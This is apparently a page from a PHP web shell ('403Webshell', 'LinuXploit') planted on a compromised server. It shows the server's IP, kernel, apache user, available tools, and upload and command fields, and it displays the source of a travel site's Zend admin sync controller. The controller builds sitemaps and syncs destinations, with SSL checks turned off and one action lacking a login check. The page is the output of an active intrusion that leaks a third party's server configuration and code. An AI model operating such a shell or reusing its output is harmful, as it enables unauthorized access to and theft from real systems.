403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/travelbrace.com/application/admin/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/travelbrace.com/application/admin/controllers/SyncController.php
<?php

/***************************************************************

* Catabatic Technology Pvt. Ltd.

* File Name     : ContactusController.php

* File Desc.    : Contactus controller managed all contact queries

* Created By    : Piyush Tiwari <piyush@catpl.co.in>

* Created Date  : 05 July 2018

* Updated Date  : 05 July 2018

***************************************************************/





class Admin_SyncController extends Zend_Controller_Action

{

    

    public $dbAdapter;

    public $perPageLimit;



    

    public function init()

    {



       /*Initialize db and session access */

       $aConfig = $this->getInvokeArg('bootstrap')->getOptions();

       $this->siteurl = $aConfig['bootstrap']['siteUrl']; 

       $this->dbAdapter = Zend_Db_Table::getDefaultAdapter(); 
       $this->objHelperGeneral = $this->_helper->General;
       $BootStrap = $aConfig['bootstrap'];
       $this->gtxagencysysid = $BootStrap['gtxagencysysid'];
	   $this->stylecss = $BootStrap['stylecss'];

       $auth        = Zend_Auth::getInstance();

       $authStorage = $auth->getStorage()->read();

       $this->username      = $authStorage->username;

       $this->admin_type    = $authStorage->role;



	  // $_SERVER["DOCUMENT_ROOT"] = $_SERVER["DOCUMENT_ROOT"].'/holidaybazaar';

    }

    

    /**

    * index() method is used to admin login for form call

    * @param Null

    * @return Array 

    */

    public function createsitemapAction() {

        $this->checklogin();
        $status = false;
        try {
            $dateFormat='c';
            $crud   = new Admin_Model_CRUD();

            $xmlString .= '<?xml version="1.0" encoding="UTF-8"?>
        <urlset 
            xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';

            //echo date($dateFormat,  time()) ;
            //echo ( mktime(date('H'), date('mm'), date('ssZZZZZ'), date('m'), date('d'), date('y')));
            // die;
            $xmlString .= '<url>
            <loc>' . $this->siteurl . '</loc>
            <lastmod>' . date("Y-m-d") . '</lastmod>
            <priority>1.00</priority>
        </url>';

        //Country Start
        $tblCountries = $crud->rv_select_all('tbl_countries', ['Title','UpdateDate'], ['IsActive' => 1,  'IsActive' => 1, 'IsMarkForDel' => 0], ['contSysId' => 'DESC']);
       
      // echo '<pre>';print_r($tblCountries);die();

        foreach ($tblCountries as $value) {
            $datetimeUrl=new DateTime($value['UpdateDate']);
            $xmlString .= '<url>
        <loc>' . $this->siteurl . 'holidays/' .  Catabatic_Helper::getSeoName($value['Title']) . '/</loc>
         <lastmod>' . date("Y-m-d") . '</lastmod>
        <priority>0.50</priority>
    </url>';
        }
        //Country End

            //Destinations Start
            $destinations = $crud->rv_select_all('tb_tbb2c_destinations', ['Title','UpdateDate'], ['IsActive' => 1,  'IsPublish' => 1, 'IsMarkForDel' => 0], ['DesSysId' => 'DESC']);
            foreach ($destinations as $value) {
            $datetimeUrl=new DateTime($value['UpdateDate']);
            $xmlString .= '<url>
            <loc>' . $this->siteurl . 'holidays/' .  Catabatic_Helper::getSeoName($value['Title']) . '/</loc>
             <lastmod>' . date("Y-m-d") . '</lastmod>
            <priority>0.50</priority>
        </url>';
            }
            //Destinations End
        //Packages Start
        $trendingTours = $crud->rv_select_all('tb_tbb2c_packages_master', ['PkgSysId', 'Image', 'GTXPkgId', 'Destinations', 'Countries', 'BookingValidUntil', 'LongJsonInfo', 'Nights', 'StarRating', 'PackageType', 'PackageSubType'], ['IsActive' => 1, 'IsPublish' => 1, 'IsMarkForDel' => 0, 'ItemType' => 1, 'IsFeatured' => 1], ['PkgSysId' => 'DESC']);
        foreach ($trendingTours as $key => $value) {
            $destinationArr = explode(',', $value['Destinations']); // get the first destination only by extracting array
            $LongJsonInfo = Zend_Json::decode($value['LongJsonInfo']);

          //  echo"<pre>";print_r( $this->objHelperGeneral);die;
            $categoryDetails = $this->objHelperGeneral->getCategoryAndPriceArray($LongJsonInfo['package']['TourTypes']['MarketType'], 'B2C', $value['PackageType'], $value['PackageSubType']); // get default category
            $tourImage1 = explode(',', $value['Image']);
            $tourImage = $tourImage1[0];
            $defaultCategoryId = $categoryDetails['defaultCategoryId'];
            $defaultCategory = $categoryDetails['defaultCategory'];
            $defaultTourType = $categoryDetails['defaultTourType'];
            $TPId = ($value['PackageType'] == $this->packageTypeStatic) ? $LongJsonInfo['package']['TPId'] : $categoryDetails['TPId'];
            $MPType = (!empty($categoryDetails['MPType']) && ($categoryDetails['MPType'] != 'LowestCost')) ? array_search($categoryDetails['MPType'], unserialize(CONST_MEAL_PLAN_ARR)) : 0;

            $tourTypeChar = ($defaultTourType == 1) ? 'P' : 'G'; // if private than P else G for Group tour type
            $priceArrJson = $categoryDetails['priceArrJson'];

            $displayFinalPrice = $this->objHelperGeneral->getPackagePrice($defaultCategory, $tourTypeChar, $priceArrJson, true);  // Param 4: true ( if calculate discounted price )

            $toursFinal[] = [
                'name' => $this->objHelperGeneral->trimContent($LongJsonInfo['package']['Name'], 30),
                'nameF' => $LongJsonInfo['package']['Name'], // full name of package name
                'img' => $tourImage,
                'night' => $value['Nights'],
                'price' => $this->objHelperGeneral->moneyFormatINR($displayFinalPrice),
                'star' => $value['StarRating'],
                'Destination' => $value['Destinations'],
                'PkgSysId' => $value['PkgSysId'],
                'GTXPkgId' => $value['GTXPkgId'],
                'defaultCategoryId' => $defaultCategoryId,
                'defaultCategory' => $defaultCategory,
                'tourtype' => $defaultTourType,
                'TPId' => $TPId,
                'PackageType' => $value['PackageType'],
                'mp' => $MPType,
                'Countries' => $value['Countries'],
                'BookingValidUntil' => $value['BookingValidUntil'],
            ];
            
        }
		if($this->stylecss=='tripeesnew'){
		
		   foreach ($toursFinal as $value) {
                $xmlString .= '<url>
            <loc>' . $this->siteurl . 'holiday/tour-package-for-' . Catabatic_Helper::getSeoName($value['Destination']) . '/' . Catabatic_Helper::getSeoName($value['nameF']) . '-' . $value['PkgSysId'] . '-' . $value['defaultCategoryId'] . '-' . $value['GTXPkgId'] . '-' . $value['tourtype'] . '-' . $value['mp'] . '.html</loc>
            <lastmod>' . date("Y-m-d") . '</lastmod>
            <priority>0.80</priority>
        </url>';
            }
		}
		if($this->stylecss!='tripeesnew'){

            foreach ($toursFinal as $value) {
                $xmlString .= '<url>
            <loc>' . $this->siteurl . 'detail/tour-package-for-' . Catabatic_Helper::getSeoName($value['Destination']) . '/' . Catabatic_Helper::getSeoName($value['nameF']) . '-' . $value['PkgSysId'] . '-' . $value['defaultCategoryId'] . '-' . $value['GTXPkgId'] . '-' . $value['tourtype'] . '-' . $value['mp'] . '.html</loc>
            <lastmod>' . date("Y-m-d") . '</lastmod>
            <priority>0.80</priority>
        </url>';
            }
		}	
            //Packages End

            //Package Themes Start
            $packageThemes = $crud->rv_select_all('tbl_pack_type', ['Title'], [ 'IsActive' => 1, 'isMarkForDel' => 0], ['packType' => 'ASC']);
            
            
         

            //echo '<pre>';print_r($packageThemes);die();
            //$finalPackageThemes
            foreach ($packageThemes as $value) {
                $xmlString .= '<url>
            <loc>' . $this->siteurl . 'category/' . Catabatic_Helper::getSeoName($value['Title']) . '</loc>
            <lastmod>' . date("Y-m-d") . '</lastmod>
            <priority>0.80</priority>
        </url>';
            }
            //Package Themes End


            //blog start
            $xmlString .= '<url>
            <loc>' . $this->siteurl . 'blogs</loc>
            <lastmod>' . date("Y-m-d") . '</lastmod>
            <priority>0.80</priority>
        </url>';
            $resullatestBlog = $crud->rv_select_all('tbl_travelogues', ['TravId','TravIdentifier','UpdateDate'], ['IsMarkForDel' => 0], ['TravId' => 'DESC']);
           // echo '<pre>';print_r($resullatestBlog);die();

            foreach ($resullatestBlog as $value) {
               $datetimeUrl=new DateTime($value['UpdateDate']);
                $xmlString .= '<url>
            <loc>' . $this->siteurl .'travelogue/'.  $value['TravIdentifier'] . '/</loc>
             <lastmod>' . date("Y-m-d") . '</lastmod>
            <priority>0.50</priority>
        </url>';
            }
            //blog end

            //Static pages
            $staticPage = Zend_Controller_Action_HelperBroker::getStaticHelper('Custom')->staticPageLink();
            
            foreach ($staticPage as $value) {
                $xmlString .= '<url>
            <loc>' . $this->siteurl .  $value['identifier'] . '</loc>
            <lastmod>' . date("Y-m-d") . '</lastmod>
            <priority>0.80</priority>
        </url>';
            }


            $xmlString .= '</urlset>';
            $dom = new DOMDocument;
            $dom->preserveWhiteSpace = FALSE;
            $dom->loadXML($xmlString);
            $folder = $this->stylecss;
            // echo ($folder);
            // die;
            //Save XML as a file
            $dom->save(APPLICATION_PATH . '/sites/' . $folder.'/'.'sitemap.xml');
            $this->view->errorMessage = "";
            $this->view->successMessage = "XML for Sitemap is successfully created";
            $status = true;
        } catch (Exception $error) {
            $status = false;
            $this->view->successMessage = "";
            $this->view->errorMessage = $error->getMessage();
        }


        if($status) {
            $this->view->msg = $response_array['msg'];
        }
        
    }

    public function indexAction()

    {

        //Check admin logedin or not

        $this->checklogin();

        $this->view->baseUrl = $this->siteurl;

    }

    

    

    /**

    * packagesAction() method is used to admin login for form call

    * @param Null

    * @return json

    */

    public function packagesAction()

    {

        //Check admin logedin or not

        $this->checklogin();

        

        $apiData = [];

        try {

            $curl = curl_init($this->siteurl . "api/sync/index?type=packages" );

            curl_setopt($curl, CURLOPT_POST, true);

            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($apiData));

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

            $curl_response = curl_exec($curl);

            curl_close($curl);

            $this->view->response = $curl_response; // send response to the view page

        } catch (Exception $error) {

            $this->view->error_msg = $error->getMessage();

            die;

        }

        

        $response_array  = [];

        

        $response_array = Zend_Json::decode($curl_response);

        

        if($response_array['status']) {

            $this->view->msg = $response_array['msg'];

        }

        

    }



    

    /**

    * destinationsAction() method is used to admin login for form call

    * @param Null

    * @return json

    */

    public function destinationsAction()

    {

        //Check admin logedin or not

        $this->checklogin();

        

        $apiData = [];

        try {

            $curl = curl_init($this->siteurl . "api/sync/index?type=destinations" );

            curl_setopt($curl, CURLOPT_POST, true);

            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($apiData));

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

            $curl_response = curl_exec($curl);

            echo "<pre>";print_r($curl_response);die;

            curl_close($curl);

            $this->view->response = $curl_response; // send response to the view page

        } catch (Exception $error) {

            $this->view->error_msg = $error->getMessage();

            die;

        }

        

        $response_array  = [];

        

        $response_array = Zend_Json::decode($curl_response);

        

        if($response_array['status']) {

            $this->view->msg = $response_array['msg'];

        }



    }



    

    /**

    * hotelsAction() method is used to admin login for form call

    * @param Null

    * @return json

    */

    public function hotelsAction()

    {

        //Check admin logedin or not

        $this->checklogin();

        

        $apiData = [];

        try {

            $curl = curl_init($this->siteurl . "api/sync/index?type=hotels" );

            curl_setopt($curl, CURLOPT_POST, true);

            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($apiData));

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

            $curl_response = curl_exec($curl);

            curl_close($curl);

            $this->view->response = $curl_response; // send response to the view page

        } catch (Exception $error) {

            $this->view->error_msg = $error->getMessage();

            die;

        }

        

        $response_array  = [];

        

        $response_array = Zend_Json::decode($curl_response);

        

        if($response_array['status']) {

            $this->view->msg = $response_array['msg'];

        }

        

    }



    

    

    /**

    * activitiesAction() method is used to admin login for form call

    * @param Null

    * @return json

    */

    public function activitiesAction()

    {

        //Check admin logedin or not

        $this->checklogin();



        $apiData = [];

        try {

            $curl = curl_init($this->siteurl . "api/sync/index?type=activities" );

            curl_setopt($curl, CURLOPT_POST, true);

            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($apiData));

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

            $curl_response = curl_exec($curl);

            curl_close($curl);

            $this->view->response = $curl_response; // send response to the view page

        } catch (Exception $error) {

            $this->view->error_msg = $error->getMessage();

            die;

        }

        

        $response_array  = [];

        

        $response_array = Zend_Json::decode($curl_response);

        

        if($response_array['status']) {

            $this->view->msg = $response_array['msg'];

        }

        

    }



    

    

    public function filterdestinamtionAction()

    {

        //Check admin logedin or not
        $this->checklogin();
        $status = false;

        $apiData = [];

        $apiData["AgencySysId"] = $AgencySysId= Catabatic_Helper::getAgencyId();

        $url =Catabatic_Helper::gtxBtoBsite();

        try {

            $curl = curl_init($url."gtxwebservices/createxml/package-destinations");

            curl_setopt($curl, CURLOPT_POST, true);

            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($apiData));

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

            $curl_response = curl_exec($curl);

            //   echo "<pre>";print_r( $this->gtxagencysysid);die;

// send response to the view page

        

        

        $JSONFileName = "public/upload/".$this->stylecss."/data/dynamic/package_destinations.json";
        if (!file_exists("public/upload/".$this->stylecss."/data/dynamic/")) {
            mkdir("public/upload/".$this->stylecss."/data/dynamic/", 0777, true);
        }
		
        file_put_contents($JSONFileName, $curl_response);
        $responseArray = Zend_Json::decode($curl_response);

        


         

        

        $crud   = new Admin_Model_CRUD();

        $resionArr = array();

         $countryArr = array();

        $resionResult  = $crud->rv_select_all("tbl_regions",['label'] ,  ['status','AgencySysId'=>$AgencySysId] , ['title'=>'ASC' ] );
        
        foreach ($resionResult as $resultkey => $resultvalue) {

            $resionArr[] = $resultvalue['label'];

        }

        

        $countryResult  = $crud->rv_select_all("tbl_countries",['label'] ,  ['status','AgencySysId'=>$AgencySysId] , ['title'=>'ASC' ] );
         // print_r( $countryResult);
        foreach ($countryResult as $contkey => $contvalue) {

            $countryArr[] = $contvalue['label'];
           
        }

      

        $reasonInsertArray = array();

        $countryInsertArray = array();

        $stateInsertArray = array();

        $cityInsertArray = array();

        foreach ($responseArray as $resionkey => $resionvalue) {

    

            if($resionvalue['TypeTitle'] == 'region'){

                if (!in_array($resionvalue['label'], $resionArr)) {

               

                        $reasonInsertArray = [

                            'title' => $resionvalue['value'],

                            'label' => $resionvalue['label'],

                            'image' => '',

                            'UpdateDate' => date('Y-m-d H:i:s'),

                            'CreateDate' => date('Y-m-d H:i:s'),

                            'IsActive' => 1,

                            'IsMarkForDel' => 0,
                            
                            'AgencySysId'=>$AgencySysId

                        ];
                        // echo"<pre>";print_r($reasonInsertArray);die();
                        $resionArr[] = $resionvalue['label'];

                            try {

                                    $resionIDS[] = $crud->rv_insert('tbl_regions', $reasonInsertArray);

                                } catch (Zend_Exception $e) {

                                            echo "1----" . $e->getMessage();

                                            exit;

                                 }

             

                             } 

            }

          

            if($resionvalue['TypeTitle'] == 'country'){

               

                if (!in_array($resionvalue['label'], $countryArr)) {

               

                $countryInsertArray = [

                    'title' => $resionvalue['value'],

                    'label' => $resionvalue['label'],

                    'seotitle' => strtolower(Catabatic_Helper::getSeoName($resionvalue['value'])),

                    'countryId' => $resionvalue['id'],

                    'image' => '',

                    'region_id' => 0,

                    'UpdateDate' => date('Y-m-d H:i:s'),

                    'CreateDate' => date('Y-m-d H:i:s'),

                    'IsActive' => 1,

                    'IsMarkForDel' => 0,

                    'AgencySysId'=>$AgencySysId

                ];

                

                 $countryArr[] = $resionvalue['label'];

                try {

                    $countryIDS[] = $crud->rv_insert('tbl_countries', $countryInsertArray);
                    // echo"<pre>";print_r($countryIDS);die();

                } catch (Zend_Exception $e) {

                            echo "2----" . $e->getMessage();

                            exit;

                        }

                 

                } 

            }

              
        // echo"<pre>";print_r($AgencySysId);die();
            if ($resionvalue['TypeTitle'] == 'state') {

                    $stateResult = $crud->checkStateData($resionvalue['id'], $AgencySysId);
                
                    if (count($stateResult) == 0 ) {

                        $stateInsertArray = [

                            'title' => $resionvalue['value'],

                            'label' => $resionvalue['label'],

                            'seotitle' => strtolower(Catabatic_Helper::getSeoName($resionvalue['value'])),

                            'stateId' => (int)$resionvalue['id'],

                            'CountryIds' => $resionvalue['ContId'],

                            'Countries' => $resionvalue['countryName'],

                            'UpdateDate' => date('Y-m-d H:i:s'),

                            'CreateDate' => date('Y-m-d H:i:s'),

                            'IsActive' => 1,

                            'IsMarkForDel' => 0,

                            
                             'AgencySysId'=>$AgencySysId,

                        ];
                        // print_r($stateInsertArray);

                        try {

                            $crud->rv_insert('tbl_states', $stateInsertArray);

                        } catch (Zend_Exception $e) {

                            echo "3----" . $e->getMessage();

                            exit;

                        }

                    }

                }

                if ($resionvalue['TypeTitle'] == 'city') {

                      $cityResult = $crud->checkCityData($resionvalue['id'], $AgencySysId );

                    if (count($cityResult) == 0 ) {

                        $cityInsertArray = [

                            'Title' => $resionvalue['value'],

                            'DesId' => $resionvalue['id'],

                            'CountryIds' => $resionvalue['ContId'],

                            'Countries' => $resionvalue['countryName'],

                            'IsPublish'=>1,

                            'UpdateDate' => date('Y-m-d H:i:s'),

                            'CreateDate' => date('Y-m-d H:i:s'),

                            'IsActive' => 1,

                            'IsMarkForDel' => 0,
                            
                         'AgencySysId'=>$AgencySysId,

                        ];

                        try {

                            $crud->rv_insert('tb_tbb2c_destinations', $cityInsertArray);

                        } catch (Zend_Exception $e) {

                            echo "4----" . $e->getMessage();

                            exit;

                        }

                    }

                }

        }

        

         curl_close($curl);

            $this->view->errorMessage = ""; 

            $this->view->successMessage = "Filter destination successfully updated.";

            $status = true;

        } catch (Exception $error) {

            $status = false;

            $this->view->successMessage = "";

            $this->view->errorMessage = $error->getMessage();

           

        }

        

        

        // echo "<pre>";print_r($response_array);die('hhhh');

        if($status) {

            $this->view->msg = $response_array['msg'];

        }

        

       

        

    }

    

    

    /**

    * footerdestinationsAction() method is used to admin login for form call

    * @param Null

    * @return json

    */

    public function footerdestinationsAction()

    {

        //Check admin logedin or not

        $this->checklogin();

        

        $apiData = [];

        try {

            $curl = curl_init($this->siteurl . "api/sync/index?type=footerdestinations" );

            curl_setopt($curl, CURLOPT_POST, true);

            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($apiData));

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

            $curl_response = curl_exec($curl);

            curl_close($curl);

            $this->view->response = $curl_response; // send response to the view page

        } catch (Exception $error) {

            $this->view->error_msg = $error->getMessage();

            die;

        }

        

        $response_array  = [];

        

        $response_array = Zend_Json::decode($curl_response);

        

        if($response_array['status']) {

            $this->view->msg = $response_array['msg'];

        }

        

    }

    

    

    

    

    public function sanitize_data($string) {

	$searchArr=array("iframe","script","document","write","alert","%","@","$",";","+","|","#","<",">",")","(","'","\'",",","and "," &","& ","and"," and","0","1","2","3","4","5","6","7","8","9");

	$input_data = strtolower($string);

	$input_data = str_replace($searchArr,"",$input_data);

        

        $input_data= str_replace(" ","-",$input_data);

        //echo $input_data; die;

        return $input_data;

    }

    

    

    public function update_json_footer( $type )

    {

        $crud   = new Admin_Model_CRUD();

        $resultset  = $crud->rv_select_all("tbl_social_links",['name','link'] ,  ['status'=>1] , ['name'=>'ASC' ] );

        $resultset1 = $crud->rv_select_all("tbl_footer_links",['name','link','footer_column'] ,  ['status'=>1] , ['name'=>'ASC' ] );

        $footer_destination = $crud->rv_select_all("tb_tbb2c_destinations",[ 'Title'] ,  ['IsActive'=>1 , 'IsPublish' => 1, 'IsMarkForDel' => 0] , ['Tours'=>'DESC' ] , 5 );

        $this->_helper->General->update_json_footer_file( $resultset , $resultset1 , $footer_destination );

    }



    

    /**

    * checklogin() method is used to check admin logedin or not

    * @param Null

    * @return Array 

    */

    public function checklogin()

    {

        if(($this->admin_type == "superadmin") || ($this->admin_type == "admin"))

        {

            $auth = Zend_Auth::getInstance();

            $hasIdentity = $auth->hasIdentity();

            /*************** check admin identity ************/

            if(!$hasIdentity)  

            {  

                   $this->_redirect('admin/index/index');  

            } 

        }  else {

            $this->_redirect('admin/index/index');   

        } 

    }

    

    public function currencyAction()

    {

        //Check admin logedin or not

        //$this->checklogin();

         $crud   = new Admin_Model_CRUD();

        $apiData = [];

        try {

            $curl = curl_init("https://globaltravelexchange.com/webservice/currency");

            curl_setopt($curl, CURLOPT_POST, true);

            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($apiData));

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

            $curl_response = curl_exec($curl);

            curl_close($curl);

            $this->view->response = $curl_response; // send response to the view page

        } catch (Exception $error) {

            $this->view->error_msg = $error->getMessage();

            die;

        }

        

        $response_array  = [];

        $response_array = Zend_Json::decode($curl_response);

        $Result  = $crud->rv_select_all("tbl_currency",['*'] ,  ['isActive'] , ['id'=>'ASC'] );

        $checkCurrency = array();

        foreach($Result as $key1 => $val1){ 

            $checkCurrency[] = $val1['CurrencyId'];   

        }

        if(isset($response_array) && !empty($response_array)){

            foreach($response_array as $key => $val){

                if(!in_array($val['CurrencyId'], $checkCurrency)){

                $insertArray = [

                    'CurrencyId'=>(int)$val['CurrencyId'],

                    'Title'=>trim(trim($val['Title'],'"')),

                    'isActive'=>1,

                ];

                $IDS[] = $crud->rv_insert('tbl_currency', $insertArray);

                }

            } 

        }

        

        echo "Success";exit;

    }



    public function filtercartraveltypeAction(){

        $this->checklogin();

        $status = false;

        $apiData = [];

        $apiData["AgencySysId"] = Catabatic_Helper::getAgencyId();
		$apiData["AgencySysId"] = $AgencySysId= Catabatic_Helper::getAgencyId();

        $url = 'http://103.239.139.156:8003/api/v1/car/travel-type-master/';

        try {

            $curl = curl_init();

            curl_setopt_array($curl, array(

                CURLOPT_URL => $url,

                CURLOPT_RETURNTRANSFER => true,

                CURLOPT_ENCODING => "",

                CURLOPT_MAXREDIRS => 10,

                CURLOPT_TIMEOUT => 0,

                CURLOPT_FOLLOWLOCATION => true,

                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,

                CURLOPT_CUSTOMREQUEST => "GET",

            ));

            $curl_response = curl_exec($curl);

            curl_close($curl);

            // send response to the view page

            $JSONFileName = "public/data/dynamic/car_station.json";

            file_put_contents($JSONFileName, $curl_response);



            $responseArray = Zend_Json::decode($curl_response);

//        echo "<pre>";print_r($responseArray);die('here');
            $crud = new Admin_Model_CRUD();

            $resionArr = array();

            $countryArr = array();

            $resionResult  = $crud->rv_select_all("tbl_regions",['label',] ,  ['status'] , ['title'=>'ASC' ] );



            foreach ($resionResult as $resultkey => $resultvalue) {

                $resionArr[] = $resultvalue['label'];

            }



            $countryResult  = $crud->rv_select_all("tbl_countries",['label'] ,  ['status'] , ['title'=>'ASC' ] );

            foreach ($countryResult as $contkey => $contvalue) {

                $countryArr[] = $contvalue['label'];

            }
            $reasonInsertArray = array();

            $countryInsertArray = array();

            $stateInsertArray = array();

            $cityInsertArray = array();

            foreach ($responseArray as $resionkey => $resionvalue) {



                if($resionvalue['TypeTitle'] == 'region'){

                    if (!in_array($resionvalue['label'], $resionArr)) {



                        $reasonInsertArray = [

                            'title' => $resionvalue['value'],

                            'label' => $resionvalue['label'],

                            'image' => '',

                            'UpdateDate' => date('Y-m-d H:i:s'),

                            'CreateDate' => date('Y-m-d H:i:s'),

                            'IsActive' => 1,

                            'IsMarkForDel' => 0,
							'AgencySysId'=>$AgencySysId,

                        ];

                        $resionArr[] = $resionvalue['label'];

                        try {

                            $resionIDS[] = $crud->rv_insert('tbl_regions', $reasonInsertArray);

                        } catch (Zend_Exception $e) {

                            echo "1----" . $e->getMessage();

                            exit;

                        }



                    }

                }



                if($resionvalue['TypeTitle'] == 'country'){

                    if (!in_array($resionvalue['label'], $countryArr)) {



                        $countryInsertArray = [

                            'title' => $resionvalue['value'],

                            'label' => $resionvalue['label'],

                            'seotitle' => strtolower(Catabatic_Helper::getSeoName($resionvalue['value'])),

                            'countryId' => $resionvalue['id'],

                            'image' => '',

                            'region_id' => 0,

                            'UpdateDate' => date('Y-m-d H:i:s'),

                            'CreateDate' => date('Y-m-d H:i:s'),

                            'IsActive' => 1,

                            'IsMarkForDel' => 0,
							'AgencySysId'=>$AgencySysId,

                        ];

                        // echo "<pre>";print_r($resionvalue);die;

                        $countryArr[] = $resionvalue['label'];

                        try {

                            $countryIDS[] = $crud->rv_insert('tbl_countries', $countryInsertArray);

                        } catch (Zend_Exception $e) {

                            echo "2----" . $e->getMessage();

                            exit;

                        }



                    }

                }



                if ($resionvalue['TypeTitle'] == 'state') {

                    $stateResult = $crud->checkStateData($resionvalue['id']);

                    if (count($stateResult) == 0) {

                        $stateInsertArray = [
                            'title' => $resionvalue['value'],
                            'label' => $resionvalue['label'],
                            'seotitle' => strtolower(Catabatic_Helper::getSeoName($resionvalue['value'])),
                            'stateId' => (int)$resionvalue['id'],
                            'CountryIds' => $resionvalue['ContId'],
                            'Countries' => $resionvalue['countryName'],
                            'UpdateDate' => date('Y-m-d H:i:s'),
                            'CreateDate' => date('Y-m-d H:i:s'),
                            'IsActive' => 1,
                            'IsMarkForDel' => 0,
							
							'AgencySysId'=>$AgencySysId,
                        ];
                        try {
                            $crud->rv_insert('tbl_states', $stateInsertArray);
                        } catch (Zend_Exception $e) {

                            echo "3----" . $e->getMessage();

                            exit;

                        }

                    }

                }

                if ($resionvalue['TypeTitle'] == 'city') {
                    $cityResult = $crud->checkCityData($resionvalue['id']);
                    if (count($cityResult) == 0) {
                        $cityInsertArray = [
                            'Title' => $resionvalue['value'],
                            'DesId' => $resionvalue['id'],
                            'CountryIds' => $resionvalue['ContId'],
                            'Countries' => $resionvalue['countryName'],
                            'IsPublish'=>1,
                            'UpdateDate' => date('Y-m-d H:i:s'),
                            'CreateDate' => date('Y-m-d H:i:s'),
                            'IsActive' => 1,
                            'IsMarkForDel' => 0,
							'AgencySysId'=>$AgencySysId,
                        ];
                        try {
                            $crud->rv_insert('tb_tbb2c_destinations', $cityInsertArray);
                        } catch (Zend_Exception $e) {

                            echo "4----" . $e->getMessage();

                            exit;

                        }

                    }

                }

            }
            curl_close($curl);
            $this->view->errorMessage = "";
            $this->view->successMessage = "Filter destination successfully updated.";
            $status = true;
        } catch (Exception $error) {
            $status = false;
            $this->view->successMessage = "";
            $this->view->errorMessage = $error->getMessage();
        }
        // echo "<pre>";print_r($response_array);die('hhhh');
        if($status) {

            $this->view->msg = $response_array['msg'];

        }

    }



}

Youez - 2016 - github.com/yon3zu
LinuXploit